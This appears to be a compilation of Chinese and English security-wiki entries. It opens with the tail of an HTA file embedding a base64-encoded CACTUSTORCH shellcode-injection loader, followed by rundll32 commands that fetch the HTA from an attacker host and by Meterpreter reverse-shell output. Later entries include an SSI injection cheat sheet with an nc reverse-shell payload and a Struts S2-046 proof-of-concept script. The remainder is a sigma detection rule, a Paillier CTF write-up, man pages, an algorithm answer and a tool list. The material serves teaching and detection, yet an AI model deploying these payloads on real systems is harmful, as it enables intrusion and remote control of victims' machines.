s = s &"VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP"
s = s &"UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ"
s = s &"VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU"
s = s &"WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD"
s = s &"UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP"
s = s &"Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J"
s = s &"Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X"
s = s &"SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO"
s = s &"SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy"
s = s &"ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs"
s = s &"cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl"
s = s &"cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW"
s = s &"YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1"
s = s &"dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh"
s = s &"ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli"
s = s &"dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0"
s = s &"cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz"
s = s &"ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5"
s = s &"Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3"
s = s &"WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI"
s = s &"RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n"
s = s &"AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD"
s = s &"VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz"
s = s &"SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ"
s = s &"bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT"
s = s &"ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt"
s = s &"ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp"
s = s &"bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp"
s = s &"YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh"
s = s &"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU"
s = s &"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB"
s = s &"ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk"
s = s &"SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ"
s = s &"cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5"
s = s &"AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX"
s = s &"AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE"
s = s &"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD"
s = s &"Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE"
s = s &"IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA"
s = s &"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg"
s = s &"BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS"
s = s &"DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB"
s = s &"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT"
s = s &"VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3"
s = s &"NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA"
s = s &"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A"
s = s &"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA"
s = s &"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA"
s = s &"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs"
s = s &"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA"
s = s &"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA"
s = s &"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA"
s = s &"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu"
s = s &"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA"
s = s &"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV"
s = s &"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA"
s = s &"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP"
s = s &"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA"
s = s &"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw"
s = s &"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA"
s = s &"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv"
s = s &"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
entry_class ="cactusTorch"
Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.flame binary,code
End Sub
SetVersion
On Error Resume Next
Run
If Err.Number <>0 Then
Debug Err.Description
Err.Clear
End If
self.close
</script>
```
#### 上传至服务器或者本地
```dos
本地执行
rundll32.exe url.dll,FileProtocolHandler file://C:\Users\John\Desktop\shell.hta
同样可以调用url.dll下载payload:
rundll32.exe url.dll,OpenURL http://192.168.126.146/shell.hta #会有弹窗提示确认运行
```
#### 反弹shell
```bash
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.126.146:4444
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 2 opened (192.168.126.146:4444 -> 192.168.126.149:49187) at 2020-04-18 23:48:35 +0800
meterpreter > getuid
Server username: 12306Br0-PC\12306Br0
meterpreter > getsid
Server SID: S-1-5-21-3579006141-3881886638-2121494774-1000
```
## 测试留痕
sysmon日志记录
```log
EVentID: 1
Process Create:
RuleName:
UtcTime: 2020-04-18 15:48:25.994
ProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000}
ProcessId: 2900
Image: C:\Windows\System32\rundll32.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: rundll32.exe url.dll,OpenURL http://192.168.126.146/shell.hta
CurrentDirectory: C:\Users\12306Br0\
User: 12306Br0-PC\12306Br0
LogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600}
LogonId: 0x6e21a
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=963B55ACC8C566876364716D5AAFA353995812A8
ParentProcessGuid: {bb1f7c32-20fc-5e9b-0000-0010bd868700}
ParentProcessId: 3808
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
```
win7安全日志记录
```log
EVentID: 4688
进程信息:
新进程 ID: 0xa30
新进程名: C:\Windows\SysWOW64\rundll32.exe
EVentID: 4688
进程信息:
新进程 ID: 0xd04
新进程名: C:\Program Files (x86)\Internet Explorer\iexplore.exe
EVentID: 4688
进程信息:
新进程 ID: 0x8f8
新进程名: C:\Windows\SysWOW64\mshta.exe
```
## 检测规则/思路
### sigma规则
```yml
title: Suspicious Rundll32 Activity
description: Detects suspicious process related to rundll32 based on arguments
status: experimental
references:
- http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/
- https://twitter.com/Hexacorn/status/885258886428725250
- https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52
tags:
- attack.defense_evasion
- attack.execution
- attack.t1218_11
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine:
- '*\rundll32.exe* url.dll,*OpenURL *'
- '*\rundll32.exe* url.dll,*OpenURLA *'
- '*\rundll32.exe* url.dll,*FileProtocolHandler *'
- '*\rundll32.exe* zipfldr.dll,*RouteTheCall *'
- '*\rundll32.exe* Shell32.dll,*Control_RunDLL *'
- '*\rundll32.exe javascript:*'
- '* url.dll,*OpenURL *' #适合本次案例的检测特征
- '* url.dll,*OpenURLA *'
- '* url.dll,*FileProtocolHandler *'
- '* zipfldr.dll,*RouteTheCall *'
- '* Shell32.dll,*Control_RunDLL *'
- '* javascript:*'
- '*.RegisterXLL*'
condition: selection
falsepositives:
- False positives depend on scripts and administrative tools used in the monitored environment
level: medium
```
### 建议
通过进程监控来检测和分析rundll32.exe的执行和参数。比较rundll32.exe的近期调用与历史已知合法参数及已加载动态链接库来确定是否有异常和潜在的攻击活动。在rundll32.exe调用之前和之后使用的命令参数也可用于确定正在加载的动态链接库的来源和目的。
## 参考推荐
MITRE-ATT&CK-T1218-011
<https://attack.mitre.org/techniques/T1218/011/>
windows下基于白名单获取shell的方法整理(上)
<http://www.safe6.cn/article/155>
|
sec-knowleage
|
# Server Side Include Injection (SSI Injection)
## Introduction
SSI (Server Side Includes) Injection is a type of web security vulnerability that occurs when a web application allows untrusted user-supplied data to be used as part of a Server Side Include (SSI) directive
## Where to find
Usually it can be found anywhere. Just try to input the payload in the form or GET parameter
## How to exploit
1. Print a date
```
<!--#echo var="DATE_LOCAL" -->
```
2. Print all the variabels
```
<!--#printenv -->
```
3. Include a file
```
<!--#include file="includefile.html" -->
```
4. Doing a reverse shell
```
<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
```
## References
* [OWASP](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)
|
sec-knowleage
|
package org.pwntester.action;
import com.opensymphony.xwork2.ActionSupport;
public class IndexAction extends ActionSupport {
private String id;
public String changeId(){
return SUCCESS;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
}
|
sec-knowleage
|
# Baby Pinhole (crypto)
In the task we get [ciphertext](ciphertext), [publickey](publickey), [crypto generator](generate.py) and [server code](server.py).
The encryption used here is Paillier cryptosystem.
Crypto parameters generation if flawless, there are large strong primes and unfactorizable 1024 bit modulus.
The encryption code is also correct.
We also know nothing about the plaintext, since plaintext is totally random and the flag is `TWCTF{sha1(plaintext)}`.
Let's focus the analysis on the server code.
Server does:
```python
cbits = size(n2)
mbits = size(n)
b = mbits//2
def run(fin, fout):
alarm(1200)
try:
while True:
line = fin.readline()[:4+cbits//4]
ciphertext = int(line, 16) # Note: input is HEX
m = decrypt(ciphertext, sk1, sk2, n, n2)
fout.write(str((m >> b) & 1) + "\n")
fout.flush()
except:
pass
```
So as indicated in the task name, the server provides us with a pinhole - we get to know the value of 512-th bit of the plaintext for ciphertext we send.
If we send the ciphertext we got, we can recover one bit, now only 1023 to go...
Paillier cryptosystem has a special property, similarly to unpadded RSA - it's homomorphic and thus it's possible to use `blinding attack`.
We can modify the ciphertext to get a predictable change of the decrypted plaintext.
Specifically:
- `paillier_decrypt(pow(ct, multiplier, n2)) = pt*multiplier % n`
- `paillier_decrypt(pow(ct, modinv(divisor,n), n2)) = pt*modinv(divisor,n) % n` which is basically modular division
- `paillier_decrypt(ct*encrypt(addend, g, n, n2)) = (pt + addend) % n`
- `paillier_decrypt(ct*encrypt(n-subtract, g, n, n2)) = (pt - subtract) % n`
It was not obvious how to recover the whole plaintext in this task.
It's simple enough to recover half of the bits once we know the other half.
To get low bits we could simply multiply the plaintext by `2` and thus shift the bits to the left, and then recovery of 512-th bit would give us in fact 511-th bit, but only assuming that `plaintex*2 < n` because otherwise the value would be cut by modulo.
So we would need to know the highest bit and subtract it from the plaintext before multiplication if it's set.
On the other hand to get high bits we could simply divide the plaintext by `2` and thus shift the bits to the right, so that the recovery of 512-th bit would in fact give us 513-th bit, but only assuming `pt % 2 == 0` because otherwise the multiplication by modinv(2,n) is not a simple division, and to make sure that `pt` is even we would need to subtract the lowest bit if it's set, but for that we would need to know the lowest bit first!
Finally we figured that we can actually recover low bits without any prior knowledge by using addition and integer overflows.
Let's assume that we have bits:
`...[0]0101...`
where the marked bit is actually the 512-th bit we can recover from the pinhole.
If we add bit `1` to the 511-th bit (so we add `1<<511`) we can get two cases:
- If the pinhole bit flipped, then there was overflow and thus bit 511 must have been `1`
- If the pinhole bit is still the same, then there was no overflow and thus bit 511 must have been `0`
In our example the bit was `0` so no overflow was observed.
Of course if we try to do this with bit 510 it won't work that easily because regardless of overflow we won't notice anything in bit 512, because it would only overflow to 511 which was 0.
But we already know that 511 is 0 so we can simply add `1<<511` and effectively set this bit to be high.
If we do this then we can again observe overflow of bit 510 directly in bit 512 pinhole.
In general: we need to set all the bits we know below 512 to be 1 and then we can always observe the overflow in bit 512.
So we proceed with a simple python code:
```python
def recover_low_bits(oracle, n, n2, g, ct):
print('cracking low bits')
mbits = size(n)
bits_to_recover = mbits // 2
result_bits = []
initial_state = oracle.get_lsb(ct)
for i in range(bits_to_recover):
filling = ['0' if known_bit == '1' else '1' for known_bit in result_bits]
add = int("".join(filling + ['1']), 2) << (bits_to_recover - i - 1)
payload = (ct * encrypt(add, g, n, n2)) % n2
lsb = oracle.get_lsb(payload)
if lsb != initial_state:
result_bits.append('1')
else:
result_bits.append('0')
result = "".join(result_bits)
return result
```
And after a while we recover the low bits.
Now that we know low bits we can use the division idea mentioned earlier.
We can now make sure that `pt % 2 == 0` because if we subtract all low bits from the pt then it will have all 512 low bits set to 0, so we can safely divide 512 times.
So we proceed by subtracting low bits and then dividing plaintext in a loop by 2 (shifting the bits right) and recovering bits 513, 514, 515...:
```python
def recover_high_bits(low, oracle, n, n2, g, ct):
print('cracking high bits')
mbits = size(n)
b = mbits // 2
result_bits = []
subtractor = n - low
sub = encrypt(subtractor, g, n, n2)
ct_sub = (ct * sub) % n2
for i in range(b):
divisor = inverse(2 ** i, n)
payload = pow(ct_sub, divisor, n2)
lsb = oracle.get_lsb(payload)
result_bits.append(str(lsb))
return "".join(result_bits[::-1])
```
Once we recovered all bits we can glue both parth together and calculate the flag: `TWCTF{ccb71c01f350cf0bc844e87d161f84b9b479b439}`
Whole solver script [here](solver.py).
It contains also sanity check on how to use the homomorphic properties of the cipher and a local set of random tests to verify the solution concept.
|
sec-knowleage
|
# S2-046 远程代码执行漏洞(CVE-2017-5638)
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-046
- https://xz.aliyun.com/t/221
## 漏洞环境
执行如下命令启动struts2 2.3.30:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到上传页面。
## 漏洞复现
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用`\x00`截断。
由于需要发送畸形数据包,我们简单使用原生socket编写payload:
```python
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
```
`233*233`已成功执行:

|
sec-knowleage
|
.TH SMBMNT 8 "26 Apr 2000" "smbmnt 2.0.7"
.PP
.SH "NAME 名字"
smbmnt \- 装载 SMB 文件系统的协助工具。
.PP
.SH "总览"
\fBsmbmnt\fP mount-point [ -s share ] [ -r ] [ -u uid ] [ -g gid ] [ -f mask ] [ -d mask ]
.PP
.SH "描述"
.PP
smbmnt 用于协助 smbmount 程序完成实际装载 SMB 共享资源。
smbmnt 必须以 root 用 setuid 来安装,这样普通用户才能
装载他们的 SMB 共享资源。它在装载点和装载目录上检查
用户是否有写权限。
.PP
smbmnt 通常由 smbmount 来调用。用户不能直接调用它。
.PP
.IP "\fB-r\fP"
以只读方式装载文件系统
.PP
.IP "\fB-u uid\fP"
指定要装载文件者的用户标识符。
.PP
.IP "\fB-g gid\fP"
指定要装载文件者的组标识符。
.PP
.IP "\fB-f mask\fP"
声明用八进制数表示的文件掩码。
.PP
.IP "\fB-d mask\fP"
声明用八进制数表示的文件掩码。
.PP
.SH "作者"
smbfs、smbmnt 和 smbmount 的维护人是 Andrew Tridgell tridge@samba.org
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2001/04/14
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 36. 二叉搜索树与双向链表
[NowCoder](https://www.nowcoder.com/practice/947f6eb80d944a84850b0538bf0ec3a5?tpId=13&tqId=11179&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点,只能调整树中结点指针的指向。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/05a08f2e-9914-4a77-92ef-aebeaecf4f66.jpg" width="400"/> </div><br>
## 解题思路
```java
private TreeNode pre = null;
private TreeNode head = null;
public TreeNode Convert(TreeNode root) {
inOrder(root);
return head;
}
private void inOrder(TreeNode node) {
if (node == null)
return;
inOrder(node.left);
node.left = pre;
if (pre != null)
pre.right = node;
pre = node;
if (head == null)
head = node;
inOrder(node.right);
}
```
|
sec-knowleage
|
.\" Copyright (c) Bruno Haible <haible@clisp.cons.org>
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" References consulted:
.\" GNU glibc-2 source code and manual
.\" OpenGroup's Single Unix specification http://www.UNIX-systems.org/online.html
.\"
.TH ICONV_CLOSE 3 "November 27, 1999" "GNU" "Linux Programmer's Manual"
.SH NAME
iconv_close \- 关闭字符转换描述符
.SH "总览 (SYNOPSIS)"
.nf
.B #include <iconv.h>
.sp
.BI "int iconv_close (iconv_t " cd );
.fi
.SH "描述 (DESCRIPTION)"
\fBiconv_close\fP 函数 关闭 之前 用 \fBiconv_open\fP 打开的
转换 描述符, 并 释放 为其 分配 的 空间.
.SH "返回值 (RETURN VALUE)"
如果 成功, \fBiconv_close\fP 函数 返回 0. 如果 出错, 函数 设置 \fBerrno\fP
变量 同时 返回 -1.
.SH "遵循 (CONFORMING TO)"
UNIX98
.SH "参见 (SEE ALSO)"
.BR iconv_open "(3), " iconv (3)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/3/21
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 前端攻防
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 前端加解密
**相关文章**
- [浅析前端加密后数据包的修改方法](https://www.freebuf.com/articles/web/223011.html)
- [浅谈web安全之前端加密](https://mp.weixin.qq.com/s/W1Jbrj6Jtg-J3-AX4eO-Eg)
- [当爆破遇到JS加密](https://www.freebuf.com/articles/web/261459.html)
**相关案例**
- [H5页面漏洞挖掘之路-加密篇](https://mp.weixin.qq.com/s/QRxMQFgAPlJsUwuw8Sv0JQ)
- [挖洞小技巧--JS简单逆向](https://zone.huoxian.cn/d/722-js)
- [技术讨论 | 如何对经前端加密后的数据进行爆破](https://www.freebuf.com/articles/web/184455.html)
- [对某webvpn系统加解密分析](https://xz.aliyun.com/t/11007)
- [WEB非实用之JS断点调试教学](https://www.yuque.com/pmiaowu/bomi9w/tdy4pp)
- [加解密传输通杀方案之JSRPC](https://www.svenbeast.com/post/kn2fEdp4Q/)
- [前端攻防几个小案例](https://r0fus0d.blog.ffffffff0x.com/post/js-case/)
- [前端攻防案例续集](https://r0fus0d.blog.ffffffff0x.com/post/js-case2/)
**相关工具**
- [Ebryx/AES-Killer](https://github.com/Ebryx/AES-Killer) - 可即时解密移动应用程序的 AES 加密流量的 Burp 插件
- [c0ny1/jsEncrypter](https://github.com/c0ny1/jsEncrypter) - 一个用于前端加密 Fuzz 的 Burp Suite 插件
- [yaunsky/passToJs](https://github.com/yaunsky/passToJs) - 爆破 js 加密的后台登陆;JS 加密;爆破密码
- [jxhczhl/JsRpc](https://github.com/jxhczhl/JsRpc) - jsrpc, 在浏览器开启一个 ws 和服务连接,以请求 http 接口的形式来和浏览器通信,浏览器端收到调用通信执行原先设置好的 js 代码并获得返回值。
```bash
# m1 下如果编译出错,使用以下命令
go get -u golang.org/x/sys
```
**常见加密库**
- https://github.com/emn178/js-md5
- https://github.com/travist/jsencrypt
- https://github.com/kjur/jsrsasign
- https://www.npmjs.com/package/crypto-js
**无限 Debug 解决方法**
- [JavaScript 逆向过程中无限 Debug 的绕过方案](https://developer.51cto.com/article/707354.html)
---
## JS 混淆
- [JS 混淆](../语言安全/JS安全.md)
---
## sourcemap 还原
**什么是 sourceMap**
- [【webpack】你所不知道的sourceMap](https://juejin.cn/post/6844903971648372743)
**相关文章**
- [如何还原前端代码](https://mp.weixin.qq.com/s/ccW8I6ZHBaVWN5ZlDC1ucA)
- [利用SourceMap还原前端代码](https://mp.weixin.qq.com/s/LRRycBY9ERIMBEh-MKjBCw)
**相关工具**
- [restore-source-tree](https://www.npmjs.com/package/restore-source-tree) - Restores file structure from source map (only Webpack source map files supported)
```bash
npm i -g restore-source-tree
restore-source-tree --out-dir <OUT_DIR> <FILE>
```
